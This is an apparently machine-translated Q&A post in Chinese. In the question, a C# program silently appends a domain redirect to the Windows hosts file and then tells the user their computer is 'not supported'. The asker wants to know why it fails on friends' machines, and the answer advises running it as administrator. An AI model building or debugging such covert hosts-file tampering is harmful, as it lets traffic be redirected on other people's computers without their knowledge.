应用程序未在不同计算机上运行

时间:2015-11-17 22:52:21

标签: c# .net

我有这段代码:

using System;
using System.IO;
using System.Net;
using System.Net.Mail;

namespace Nameddd
{
    class Program
    {
        static void Main(string[] args)
        {
            Hosts();
            Console.WriteLine("Loading..");
            Console.WriteLine("Your computer is not supported");
            Console.ReadKey();
        }
        static void Hosts()
        {
        {
            using (StreamWriter w = File.AppendText(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "drivers/etc/hosts")))
            {
                w.WriteLine("SOME_IP domain.com");
            }
        }

这个程序对我有用,但显然并不适用于所有系统。我在Windows 10上使用了VS 2015社区。在另一台计算机上我的朋友(使用Windows 7) - 也在工作。

但是对于使用Windows 10的人来说,它无法正常工作。应用程序没有运行,“加载游标” - 就是这样。如果我正在尝试删除.exe,它会显示一个消息框,其中包含“正在运行的进程”文本。

1 个答案:

答案 0 :(得分:0)

确保以管理员身份运行代码或可执行文件 。 您可能打开了该文件,但无法将更改保存到代码失败的朋友的文件中。

来自here的其他帖子

您可以这样检查:

using System.Security.Principal;
public bool IsUserAdministrator()
{             
    bool isAdmin;
    try
    {
        WindowsIdentity user = WindowsIdentity.GetCurrent();
        WindowsPrincipal principal = new WindowsPrincipal(user);
        isAdmin = principal.IsInRole(WindowsBuiltInRole.Administrator);
    }
    catch (UnauthorizedAccessException ex)
    {
        isAdmin = false;
    }
    catch (Exception ex)
    {
        isAdmin = false;
    }
    return isAdmin;
}